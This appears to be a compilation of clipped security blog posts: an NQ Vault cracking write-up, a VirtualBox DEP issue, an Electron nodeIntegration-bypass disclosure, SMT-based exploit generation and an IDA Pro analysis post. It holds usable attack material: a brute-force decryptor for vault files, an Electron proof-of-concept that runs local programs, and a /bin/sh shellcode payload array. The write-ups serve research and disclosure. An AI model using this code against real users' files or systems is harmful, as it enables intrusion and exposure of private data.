if \(currproc \!= RemotePid\)//check if current pid and pid passed in the
function are same  
\{  
DbgPrint\("thread injection detected"  
\}

CurrentProcessId\(\) gets the ID of the current process in whose context
thread creation is called**.**

The logic is really simple. If the CurrProc and RemotePid are not same means
the thread has been injected**.**

I am not publishing the code as it’s too easy and similar codes can be found
in internet

<img src='img/Temp2_10182.png' alt='image' />

****

# How I cracked NQ Vault's "encryption" - ninjadoge24's blog

**Created:**| _4/10/2015 6:38:26 PM_  
---|---  
**Updated:**| _4/10/2015 6:38:26 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing format_  
  

# How I cracked NQ Vault's "encryption"

NQ Vault. It's got some really nice ratings on the Play Store.

> ★ _The most popular app with over 30 million users worldwide_
> ★ _CTIA - "The Best App of CTIA by the Techlicious 2012 Best of CTIA
> Awards"_
> ★ _PC Magazine - "PC Magazine Best Apps"_
> ★ _TRUSTe - Received "TRUSTe Privacy Seal"_
> ★ _Global Mobile Internet Conference App Space - "A top 50 app"_
<img src='img/Temp2_4030.png' alt='NQ Vault' />

I made a 1x1px png \[test.png\] in GIMP and ran `echo NINJADOGE24 >> test.png`
and encrypted it in NQ Vault v6.1.00.22 with a simple password `2424`.

The original file, test.png:

[code]

    0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
    0000010: 0000 0001 0000 0001 0802 0000 0090 7753  ..............wS
    0000020: de00 0000 0970 4859 7300 0003 b100 0003  .....pHYs.......
    0000030: b101 f583 ed49 0000 0007 7449 4d45 07df  .....I....tIME..
    0000040: 0401 0319 3a3d ca0b 0c00 0000 0c69 5458  ....:=.......iTX
    0000050: 7443 6f6d 6d65 6e74 0000 0000 00bc aeb2  tComment........
    0000060: 9900 0000 0f49 4441 5408 1d01 0400 fbff  .....IDAT.......
    0000070: 00ff 0000 0301 0100 c706 926f 0000 0000  ...........o....
    0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47  IEND.B`.NINJADOG
    0000090: 4532 340a                                E24.
    
[/code]

Vault's sqlite db told me where to find the encrypted file.

<img src='img/Temp2_4031.png' alt='NQ Vault db' />

The encrypted file, 1427858907181.png:

[code]

    0000000: 8d54 4a43 090e 1e0e 0404 0409 4d4c 4056  .TJC........ML@V
    0000010: 0404 0405 0404 0405 0c06 0404 0494 7357  ..............sW
    0000020: da04 0404 0d74 4c5d 7704 0407 b504 0407  .....tL]w.......
    0000030: b505 f187 e94d 0404 0403 704d 4941 03db  .....M....pMIA..
    0000040: 0005 071d 3e39 ce0f 0804 0404 086d 505c  ....>9.......mP\
    0000050: 7047 6b69 6961 6a70 0404 0404 04b8 aab6  pGkiiajp........
    0000060: 9d04 0404 0b4d 4045 500c 1905 0004 fffb  .....M@EP.......
    0000070: 04fb 0404 0705 0504 c302 966b 0404 0404  ...........k....
    0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47  IEND.B`.NINJADOG
    0000090: 4532 340a                                E24.
    
[/code]

Interesting. I had expected it to encrypt everything. Including that
NINJADOGE24 in the end. Looks like a substitution cipher. What if it's just
XOR? Like just fuckin' XOR?

I used http://jdejong.net/tools/bitwisecalculator.php, and

[code]

    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49
                     XOR
    8D 54 4A 43 09 0E 1E 0E 04 04 04 09 4D
                      =
    04 04 04 04 04 04 04 04 04 04 04 04 04
    
[/code]

Wow. Did I mention that NQ Vault has a premium version, which costs $7.99 a
year? I bet it uses XOR2048enhancedmode for encryption.

Wrote a XOR encryptor and/or decryptor. It's pretty dumb by the way.

[code]

    //xor.c
    
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
        FILE *file_a, *file_b;
        int char_a, char_b;
    
        file_a = fopen(argv[1], "r");
        file_b = fopen(argv[2], "r");
    
        while((char_a = getc(file_a)) != EOF && (char_b = getc(file_b)) != EOF)
            putchar(char_a ^ char_b);
    
        fclose(file_a);
        fclose(file_b);
    
        return EXIT_SUCCESS;
    }
    
[/code]

Used a 1x1px jpg file this time:

[code]

    0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060  ......JFIF.....`
    0000010: 0060 0000 ffe1 0352 4578 6966 0000 4d4d  .`.....RExif..MM
    0000020: 002a 0000 0008 0005 5100 0004 0000 0001  .*......Q.......
    0000030: 0000 0000 5101 0003 0000 0001 0001 0000  ....Q...........
    0000040: 5102 0001 0000 0300 0000 004a 5103 0001  Q..........JQ...
    0000050: 0000 0001 0000 0000 5104 0001 0000 0001  ........Q.......
    0000060: fc00 0000 0000 0000 0000 0000 0033 0000  .............3..
    0000070: 6600 0099 0000 cc00 00ff 002b 0000 2b33  f..........+..+3
    0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000  .+f.+..+..+..U..
    0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080  U3.Uf.U..U..U...
    00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff  ...3..f.........
    00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00  .....3..f.......
                         -- snip --
    0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7  ................
    00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5  ................
    00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311  ................
    00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49  .?....(.......NI
    00005d0: 4e4a 4144 4f47 4532 3420 0d0a            NJADOGE24 ..
    
[/code]

"Encrypted" with `4815162342`:

[code]

    0000000: 3314 332c ccdc 868a 858a cccd cdcd ccac  3.3,............
    0000010: ccac cccc 332d cf9e 89b4 a5aa cccc 8181  ....3-..........
    0000020: cce6 cccc ccc4 ccc9 9dcc ccc8 cccc cccd  ................
    0000030: cccc cccc 9dcd cccf cccc cccd cccd cccc  ................
    0000040: 9dce cccd cccc cfcc cccc cc86 9dcf cccd  ................
    0000050: cccc cccd cccc cccc 9dc8 cccd cccc cccd  ................
    0000060: 30cc cccc cccc cccc cccc cccc ccff cccc  0...............
    0000070: aacc cc55 cccc 00cc cc33 cce7 cccc e7ff  ...U.....3......
    0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000  .+f.+..+..+..U..
    0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080  U3.Uf.U..U..U...
    00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff  ...3..f.........
    00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00  .....3..f.......
                         -- snip --
    0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7  ................
    00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5  ................
    00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311  ................
    00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49  .?....(.......NI
    00005d0: 4e4a 4144 4f47 4532 3420 0d0a            NJADOGE24 ..
    
[/code]

[code]

    0000000: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000010: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000020: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000030: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000040: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000050: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000060: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000070: cccc cccc cccc cccc cccc cccc cccc cccc  ................
    0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
                         -- snip --
    0000590: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00005a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00005b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00005c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00005d0: 0000 0000 0000 0000 0000 0000 0a         .............
    
[/code]

Everything after the first 128 bytes remains untouched \[so this is why the
entire file wasn't encrypted earlier\]. Wew lad. Best encryption method ever.
11/10.

Messed around using passwords like `000`, `001`, `002`... to see if there was
a pattern.

password| key  
---|---  
000| 30  
001| 31  
002| 32  
003| 33  
004| 34  
010| 4f  
011| 50  
012| 51  
2424| 04  
4815162342| cc  
Well, that started out interesting because the hex code is 30 for the
character '0', 31 for '1', 31 for '2'... but it kinda stops making sense after
'9'.

Anyways, there is no point in trying to re-create the generateKey\(password\)
method - I guess I will just have to brute-force keys from 00 to ff \[i.e.
from 0 to 255\] till I get a valid file.

Improvised my XOR encryptor and/or decryptor. Now it only XOR's the first 128
bytes of the file with a single byte.

[code]

    // vault-crack.c
    
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
        FILE *file_a;
        int char_a, char_b = strtol(argv[2], NULL, 10), i = 0;
    
        file_a = fopen(argv[1], "r");
    
        while((char_a = getc(file_a)) != EOF)
        {
            if(i < 128) putchar(char_a ^ char_b) && i++;
            else putchar(char_a);
        }
    
        fclose(file_a);
    
        return EXIT_SUCCESS;
    }
    
[/code]

Brute-forcing ain't that hard.

[code]

    #!/bin/sh
    for i in `seq 0 255`; do
        ./vault-crack $1 $i > $1.decrypted
        if [ `file $1.decrypted --brief --mime-type` != "application/octet-stream" ]
        then
            echo "Key = $i" && exit
        fi
    done
    
[/code]

Compile `vault-crack.c` and put it in a directory along with the script and an
encrypted file from the vault. Then you can run `./vault-crack.sh
ENCRYPTED_FILE` to get your decrypted file.

There you go\! That was fun.

permalink history edit

# VBox DEP issue. « ihasomgsecurityskills

**Created:**| _1/8/2011 12:08:27 PM_  
---|---  
**Updated:**| _1/8/2011 12:08:50 PM_  
**Author:**| __  
**Tags:**| _Linux visualization Lab-Setup_  
  

## VBox DEP issue.

by sickness on Jan.07, 2011, under Regular geek

First of all here is a quick demo about the issue:  

DEP Issue on VBox from sickness on Vimeo.

Ok now that you have seen the demo:

A lot of people Enable DEP on VirtualBox but did anyone test it to see if it
works properly ? Well guess what it doesn’t \!

\*How ?  
Well I wanted to test some DEP bypass methods, and I just have this habit
before actually trying to bypass DEP, I turn it off and test that app with a
simple exploit \(usually to launch calc.exe\) but I forgot to turn DEP off, it
remained on and when I launched the exploit I did not receive a DEP error and
the calculator got executed, you can take a look at the quick video demo to
check it out.

\*What I did.  
I started trying different things to make it work like upgrading to the latest
VBox, made sure that my CPU supported NX, Enable PAE/NX from Vbox, reinstall
the guest OS with PAE/NX enabled from the beginning, and others. Everything
seemed ok but DEP was not working, I tried using tools like NXTEST which
actually told me that DEP wasn’t enabled so I tried the same configuration on
Vmware and what do you know … it worked\!  
After saying that Vmware DEP works I asked a few people to help me confirm
this Vbox issue. From the feedback of these tests I learned that only 32 bit
CPU’s are affected by this, DEP works on 64.

\*Reason for this issue.  
So after saying this issue I have reported it to the guys at Vbox who after a
while told me that they have figured out what is causing the problem, it’s
normal but they have not documented it yet. \(Great, because DEP not working
is not such a big deal, what could happen \!?\)  
QUOTE:  
“For raw mode we do NOT enable NX protection by default. I’m currently not  
aware of the exact reason but I believe this is to keep the code simpler  
or there are some compatibility issues.”  
\(Yet this is not documented\)

\*Fix.  
In order to fix this you need the following:  
-NX and PAE support \( cat /proc/cpuinfo and check the flags for nx pae \)  
-A PAE enabled kernel \( which doesn’t make much sense to me, Vmware DEP works without a PAE enabled kernel and NX and PAE are 2 different things from my point of view, but I might be wrong. \)  
-You also need to invoke a command from the terminal to enable NX because apparently the option “Enable PAE/NX” from Vbox doesn’t work \( not sure why they included it in the first place\)
Ok so in order to fix DEP in Vbox, your CPU must support NX and PAE, you must
run a PAE enabled kernel and:  
Open a terminal with the same privileges as your Virtual machines and type in:

“VBoxManage list vms”

You will get something like this: “Windows” \{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx\}  
Now issue the following command considering Windows as the name of your VM
\(Virtual Machines must be stopped \):

“VBoxManage setextradata “Windows” VBoxInternal/CPUM/EnableNX 1″

Now start the VM and DEP should work.

# Modern Alchemy: Turning XSS into RCE · Doyensec's Blog

**Created:**| _3/7/2018 8:34:40 AM_  
---|---  
**Updated:**| _3/7/2018 8:34:40 AM_  
**Author:**| _wishi_  
**Tags:**| _xss JavaScript_  
  

  

# Modern Alchemy: Turning XSS into RCE

03 Aug 2017 - Posted by Luca Carettoni

### TL;DR

At the recent Black Hat Briefings 2017, Doyensec’s co-founder Luca Carettoni
presented a new research on Electron security. After a quick overview of
Electron’s security model, we disclosed design weaknesses and implementation
bugs that can be leveraged to compromise _any_ Electron-based application. In
particular, we discussed a bypass that would allow reliable Remote Code
Execution \(RCE\) when rendering untrusted content \(for example via Cross-
Site Scripting\) even with framework-level protections in place.

In this blog post, we would like to provide insight into the bug
\(CVE-2017-12581\) and remediations.

### What’s Electron?

While you may not recognize the name, it is likely that you’re already using
Electron since it’s running on millions of computers. Slack, Atom, Visual
Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost are just
few examples of applications built using this framework. Any time that a
traditional web application is ported to desktop, it is likely that the
developers used Electron.

<img src='img/electron1.png' width='576' height='202' alt='Electron Motto' />

### Understanding the _nodeIntegration_ flag

While Electron is based on Chromium’s Content module, it is not a browser.
Since it facilitates the construction of complex desktop applications,
Electron gives the developer a lot of power. In fact, thanks to the
integration with Node.js, JavaScript can access operating system primitives to
take full advantage of native desktop mechanisms.

It is well understood that rendering untrusted remote/local content with Node
integration enabled is dangerous. For this reason, Electron provides two
mechanisms to “sandbox” untrusted resources:

_BrowserWindow_

[code]

    mainWindow = new BrowserWindow({  
    	"webPreferences": { 
    		"nodeIntegration" : false,  
    		"nodeIntegrationInWorker" : false 
    	}
    });
    
    mainWindow.loadURL('https://www.doyensec.com/');
    
[/code]

_WebView_

[code]

    <webview src="https://www.doyensec.com/"></webview>
    
[/code]

In above examples, the **nodeIntegration** flag is set to false. JavaScript
running in the page won’t have access to global references despite having a
Node.js engine running in the renderer process.

### Hunting for _nodeIntegration_ bypasses

It should now be clear why _nodeIntegration_ is a critical security-relevant
setting for the framework. A vulnerability in this mechanism could lead to
full host compromise from simply rendering untrusted web pages. As modern
alchemists, we use this type of flaws to turn traditional XSS into RCE. Since
all Electron applications are bundled with the framework code, it is also
complicated to fix these issues across the entire ecosystem.

During our research, we have extensively analyzed all project code changes to
uncover previously discovered bypasses \(we counted 6 before v1.6.1\) with the
goal of studying Electron’s design and weaknesses. Armed with that knowledge,
we went for a hunt.

By studying the official documentation, we quickly identified a significant
deviation from standard browsers caused by Electron’s “glorified” JavaScript
APIs.

When a new window is created, Electron returns an instance of
BrowserWindowProxy. This class can be used to manipulate the child browser
window, thus subverting the Same-Origin Policy \(SOP\).

_SOP Bypass \#1_

[code]

    <script>
    const win = window.open("https://www.doyensec.com"); 
    win.location = "javascript:alert(document.domain)"; 
    </script> 
    
[/code]

_SOP Bypass \#2_

[code]

    <script>
    const win = window.open("https://www.doyensec.com"); 
    win.eval("alert(document.domain)");
    </script>
    
[/code]

The _eval_ mechanism used by the SOP Bypass \#2 can be explained with the
following diagram:

<img src='img/electron2.png' width='576' height='171'
alt='BrowserWindowProxy's Eval' />

Additional source code review revealed the presence of privileged URLs
\(similar to browsers’ privileged zones\). Combining the SOP-bypass by design
with a specific privileged url defined in _lib/renderer/init.js_ , we realized
that we could override the nodeIntegration setting.

<img src='img/electron3.png' width='576' height='157' alt='Chrome DevTools in
Electron, prior to 1.6.8' />

A simple, yet reliable, proof-of-concept of the nodeIntegration bypass
affecting all Electron releases prior to 1.6.7 is hereby included:

[code]

    <!DOCTYPE html>
    <html>
      <head>
        <title>nodeIntegration bypass (SOP2RCE)</title>
      </head>
      <body>
      	<script>
        	document.write("Current location:" + window.location.href + "<br>");
    
        	const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
        	win.eval("const {shell} = require('electron'); 
        	shell.openExternal('file:///Applications/Calculator.app');");
           </script>
      </body>
    </html>
    
[/code]

On May 10, 2017 we reported this issue to the maintainers via email. In a
matter of hours, we received a reply that they were already working on a fix
since the privileged _chrome-devtools://_ was discovered during an internal
security activity just few days before our report. In fact, while the latest
release on the official website at that time was 1.6.7, the git commit that
fixes the privileged url is dated April 24, 2017.

The issue was fixed in 1.6.8 \(officially released around the 15th of May\).
All previous versions of Electron and consequently all Electron-based apps
were affected. Mitre assigned CVE-2017-12581 for this issue.

### Mitigating nodeIntegration bypass vulnerabilities

  * **Keep your application in sync with the latest Electron framework release.** When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities \(such as nodeIntegration bypasses\) are already patched and cannot be exploited to abuse your application.
  * **Adopt secure coding practices.** The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting \(XSS\), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing.
  * **Know your framework \(and its limitations\).** Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron \(e.g. SOP enforcement\). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our Electronegativity, A study of Electron Security presentation and Electron Security Checklist white-paper.
  * **Use the recent “sandbox” experimental feature.** Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable sandboxing which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running \(with the exception of preload scripts\) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing \(there are known security issues, sandbox is not supported for the `<webview>` tag, etc.\) this option should be enabled to provide additional isolation.

  

# Fun uses for an SMT solver « Sean Heelan's Blog

**Created:**| _11/18/2010 6:42:52 PM_  
---|---  
**Updated:**| _11/18/2010 6:42:52 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification SMT_  
  

## Fun uses for an SMT solver

June 1, 2009 by seanhn

An SMT solver \(such as Z3, Yices or STP\) is a decision procedure that can
handle arithmetic and other decidable theories. They make use of procedures
specific to the theories they handle, such as linear arithmetic, in
combination with the brute force of SAT solver. They proceed iteratively by
replacing the sub-expressions in a formula like `(x + y < 10 || x > 9) && (y +
z < 5)` with propositional variables, to give something like `(A || B) &&
(C)`. At this point we can apply a SAT solver to look for a solution. If none
exists then we need not bother with analysing the abstracted expressions, as
the formula is unsatisfiable. If the SAT solver finds a satisfiable solution
we then restore the original expressions and pass the conjunction of this off
to the core decision procedure which can deal with the semantics of the given
theory. This process then proceeds in the standard DPLL method of iteration,
involving finding UNSAT cores and backtracking.

So, theory aside, how can we use this to entertain ourselves/do useful things?
Well, an advantage of an SMT solver over a regular SAT solver is that we can
quite easily express the sort of operations that tend to go on during program
execution. We can model conditions, arithmetic and arrays. Using a theory that
can model operations of this kind we can represent a path through a program
\(or several different paths in fact\). By appending extra constraints we can
then use an SMT solver to generate inputs that will take different conditional
branches \(useful for guiding a fuzzer\), ensure memory locations have a
specific value \(useful for avoiding shellcode filters\) and/or model
conditions we want to check for, such as integer overflows.

A practical example may help illuminate why you might want to use an SMT
solver. Consider the problem of a program containing an exploitable
vulnerability where we have located a suitable buffer for shellcode but we now
need to know what input to provide such that the desired shellcode is in that
buffer when we jump to it. One solution is to use dynamic analysis to gather
the entire path condition over user influenced data and then append the
condition that the buffer we are interested in contains the shellcode. To do
this we will gather all data movement and conditional instructions on tainted
data \(I won’t discuss how to do this here\). At the vulnerability point we
can then express this trace as the input to an SMT solver. Most solvers have
their own API but they should also all accept a SMT-LIB formatted text file
input, which is what I use so as not to tie myself to a single solver. You can
read more about the format here, but essentially our input will have 4
sections.

Suppose, for the sake of having a tractable example, that our vulnerable
program just takes two bytes of input and moves them once into a new location,
and we want to determine what input to provide such that these new locations
have the values 0×41 and 0×42. Our specification to the solver would then
proceed as follows:

Section 1 is a pretty standard header that is basically static unless you want
to use a different logic. I use quantified bitvector logic because it is
easier to model mod32 arithmetic and data movement/conditionals at the byte
and bit level than it would be with linear arithmetic or another logic.

[code]

    (benchmark exploitSample
    :status unknown
    :logic QF_BV
    
[/code]

In section two we then specify the name and type of all variables that we
intend to use in the formula itself. The format of valid names is discussed in
a document linked from the SMT-LIB website, but basically follows the same
rules as C.

Here I declare 4 variables, <i0, i1, n256, n257> \(names unimportant\), and I
declare them to be bitvectors of site 8 e.g. they model a single byte

[code]

    :extrafuns ((n256 BitVec[8])(i0 BitVec[8])(n257 BitVec[8])(i1 BitVec[8]))
    
[/code]

Section 3 is the assumptions section. Here we can specify the path condition,
i.e. all data movement and conditionals that occured during the dynamic trace.
We could just as easily express these in the next section but for ease of
comprehension I use the assumptions section \(according to the docs some
parsers might also work slightly faster this way\).

The format of this section should be familiar with anyone that has dabbled in
programming languages that are list orientated. It is pretty much `(operator
operand1 operand2 ....)`

This assumption is basically the expression of the conjuction `(n256 := i0)
AND (n257 := i1)`

[code]

    :assumption (and (= n256 i0)(= n257 i1)
    
[/code]

Finally, we have our formula. This is of the same format as the assumption
section, but I usually use it to express the part of the problem I want to
solve. e.g. I encode the shellcode here.

\(The form for a bitvector constant is _bvDECIMAL\_VAL\[SIZE\_OF\_VECTOR\]_\)

[code]

    :formula (and (= n256 bv65[8])(= n257 bv66[8]))
    
[/code]

Obviously, this is a trivial example and we can quite easily spot the
solution, but in a situation where there are 30+ movements of every byte of
input, as well as conditionals and arithmetic, it quickly becomes impossible
to solve by hand. I’ve used this technique to produce satisfying inputs for
formulae over hundreds of input variables in a matter of seconds. As for the
actual running, we can concatenate the above sections into a text file
\(probably best to use a .smt extension as some solvers seem to look for it\)
and invoke our solver to get something like the following:

[code]

    nnp@test:~/Desktop/yices-1.0.21/bin/$ yices -smt -e < constraints.smt
    sat
    (= i0 0b01000001)
    (= i1 0b01000010)
    
[/code]

Which can be parsed back to a C/Python/etc array using a relatively simple
script.

This approach is exactly what I’m doing to auto-generate my exploits. In the
assumptions, I specify everything I’ve traced during program execution, and in
the formula I specify the shellcode and the desired location I want to use it
in \(determined by the method described in a previous post of mine\), as well
as the address of a shellcode trampoline. By also including the information on
what the original user input was, the SMT solver can produce an output with
the exploit information at the desired indexes and valid input at all others.
The finished product is currently something that looks like this:

[code]

    exploitArray = ['\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\
    xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x58\x58\x58\x58\x58\x58\x58\x58\x42
    \x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42
    ...
    42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x39\x84\x04\x08\x42\x42\x42\x42
    ...
    ']
    
    oFile = open('pyExploit.in', 'w')
    oFile.write(''.join(exploitArray))
    oFile.close()
    
[/code]

Which was produced from an input file containing only ‘B’s, the required
shellcode and a set of potential trampoline addresses. The tool has determined
that at the vulnerability point the ESP register points to a buffer containing
data from the start of the user input, and thus has filled in the start of the
input with the shellcode. It has also found the correct bytes that overwrite
the EIP and replaced them with the address of a `jmp %esp` \(0×08048439\)

# Simplex method in IDA Pro | Hex Blog
**Created:**| _4/13/2011 7:49:04 AM_  
---|---  
**Updated:**| _4/13/2011 7:49:04 AM_  
**Author:**| __  
**Tags:**| _iDA reversing awesome_  
  

# Simplex method in IDA Pro

Posted on June 23, 2006 by Ilfak Guilfanov

In May a contest was open on Datarescue’s forum:

http://www.datarescue.com/ubb/ultimatebb.php?/topic/4/375.html

There were some nice tries but nobody guessed it right.  
It seems Datarescue will have to repeat the contest with another question <img
src='img/9776_icon_smile.gif' alt=':)' />

If you are curious to learn the correct answer, please read on.

For IDA Pro a program consists of functions.  
A function has many attributes, like the entry point and frame size.  
It may also have some locally defined items: labels and stack based variables.  
Usually IDA automatically handles the stack variables: it creates stack
variable  
definitions \(stkvars\)  
and converts the referencing operands into the **stkvar** type. Let’s consider  
this source code:

<img src='img/simplex_00_source_code.gif' />

The first sample function has been analyzed perfectly well:

<img src='img/simplex_01_old_sample1.gif' />

There are three stack variables. They were created by IDA because of very
recognizable  
stack references in the **ESP+n** form.  
I gave the stack variables meaningful names:  
**hThread** , **enabled** , and **counter**.

In the green column after the addresses, IDA displays the stack pointer
values.  
The displayed values represent the difference between the initial value of the
stack  
pointer at the function entry point and the current value.

Look at the **push** instruction in this code. Right after it the difference  
becomes 4.  
There is no corresponding **pop** instruction, but this is not a mystery  
for knowledgeable programmers working with MS Windows API:  
functions with so called stdcall  
1  
calling convention remove their arguments from the stack.  
Fortunately, IDA knows about such functions  
and carefully adjusts the stack after the call. The stack pointer  
at 401012 becomes 0 as it should. Just as a sidenote, the information  
about the stdcall functions  
comes from the IDS files in the **ids** subdirectory and you can handle them
with  
special utilities available on Datarescue’s site.

But what happens when IDA does not know about the calling convention?  
Look at this _wrong_ listing:

<img src='img/simplex_02_old_sample2.gif' />

At **401042** there is an indirect call and there are 2 push instructions just
before it.  
By examining the whole function we can tell with 100% certainty that the
called function  
must remove its arguments from the stack. Otherwise the return instruction at
**401051**  
could not return to the caller because the stack would still contain the
additional bytes.

IDA did not know what to do with the call and left it as is.  
As a consequence, the stack pointer values after the call became incorrect and  
all references using ESP were incorrect too.  
For example, the instruction at 401048 does not increment **p** but the third
operand.  
This was completely missed by IDA.

The current version of IDA behaves like this: it has a very simple stack
tracer  
which does not analyze the whole function but just traces  
individual sp modifications for each instruction. Naturally, it fails  
as soon as any indirect call or a call to a function with unknown effect  
on the stack is made. To tell the whole truth, there is a mechanism to handle  
the simplest cases when the function ends after several pushes and a call.  
But this mechanism is too simple and fails more than succeeds.

The stdcall function problem is important for MS Windows programs. This
calling  
convention is a de facto standard for MS Windows API. It is also used in many
projects  
since it is the only calling convention which guarantees compatibility between
different  
programming languages. For example, all IDA exported functions are stdcall
\(there are  
some exceptions, most notably functions with the variable number of arguments;
for the  
obvious reasons they can not be stdcall\).

The good news are that the next version of IDA will handle the stack trace
much better.  
The second sample function will look like this:

<img src='img/simplex_03_new_sample2.gif' />

IDA did determine that the call removes 8 bytes from the stack, adjusted the
stack pointer  
and correctly represented the subsequent stack variable. The function takes
three arguments,  
which is correct.  
This information will be propagated in the disassembly and the whole
disassembly  
will be better.

How did IDA determine the stdcall functions? Here is the outline of the
algorithm.  
First we break the function down into _basic blocks_  
2:

<img src='img/simplex_04_new_blocks.gif' />  
  
\(the red numbers denote the block numbers\)

The second step is to build a system of linear equations based on the graph
edges  
and available push/call information. For each basic block we introduce two
variables: the  
value of the stack pointer at the entry and at the exit of the block.  
For our sample function, the following equations have been generated:

<img src='img/simplex_05_equations.gif' />  

The equation for block \#1 uses inequality since the block may leave the 8
bytes on stack  
as well as may clean them.

The third \(last\) step is to solve the equations and apply the results to the
disassembly.

My first urge was: “hey, this is so simple, I’ll just solve these equations”.  
So I implemented a tiny Gaussian elimination method \(there were no
inequalities in the equations yet\)  
and was happy with the result until a test.

The real wild world of programs turned out to be much more versatile and  
weird, if not hostile. There were all kinds of functions.  
Some functions **did** change the stack pointer so at the function exit it was
different from its initial value.  
I found their names and excluded them from the analysis.  
Some functions were malformed.  
There was no point of trying to analyze them.  
Some functions gave so little information  
about the stack pointer that it was not enough to build a sufficient number of
equations.  
The equations would have too many \(infinite\) number of solutions. I needed
only one.

To choose only one solution among many possible, I had to restate the stack
tracing  
as an optimization problem and solve it with the simplex method 3.  
The optimization criteria was to find the minimum of the sum of all variables.  
This is not completely correct but gives nice results in practice.  
Probably it works well because compilers try to consume as little stack as  
possible and do not issue meaningless **push** instructions 4..

I also had to set the low bounds for all inner variables. Inner variables are  
all variables which are not in0 and outn where n is the number of a basic
block  
ending with **return**. Without the low bounds the solution is incorrect and
can not  
be applied.

The last step was to apply the obtained result back to the disassembly, which
was straightforward.  
There were some nasty questions, the biggest one was how to resolve  
the situation with several indirect calls in a basic block.  
A simple heuristic of assigning as much push instructions to a call a possible
worked well enough.

The next version of IDA will use an external DLL to solve systems of linear
equations.  
It’s name is COIN/Clp and it comes from IBM.  
This library is an overkill because our equations are derived from a graph and
can be  
solved in a simpler way but I opted for it because it was not obvious that
something simple  
would fit. In fact, it was the contrary: I constantly had to switch from
simple  
approaches to more sophisticated ones until the result was acceptable.

Alas, the new method does not handle all cases. There will still be stack
analysis failures,  
especially when the function uses structured exception handlers \(SEH\).
Overall,  
the success rate is about 97%.

I’d compare having a correct stack pointer trace to having a very flat and
solid  
workbench. It is not a big deal if you have a nice one. You do not even notice
it when  
everything works correctly. Things are different when your table is shaky and  
your efforts are spent to keep it stable \(look again at the wrong listing\).

* * *
  
  
  
1\. More about calling conventions:  

http://blogs.msdn.com/oldnewthing/archive/2004/01/08/48616.aspx

  
2\. Basic blocks are used quite often for program analysis:  

http://en.wikipedia.org/wiki/Basic\_block

  
3\. More about simplex method:  

http://en.wikipedia.org/wiki/Simplex\_algorithm

  
4\. I have to admit that I encountered some compiler-generated functions which
were allocating stack space  
before each call and releasing immediately after it. The allocated space was
not used at all.  

This entry was posted in IDA Pro. Bookmark the permalink.

# dionthegod/XNUSandbox - GitHub

**Created:**| _5/15/2011 7:44:26 PM_  
---|---  
**Updated:**| _5/15/2011 7:44:26 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking sandboxing_  
  

**XNUSandbox** /

| name| age|  history message  
---|---|---|---  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  apple-scheme/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  extract\_sbs/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
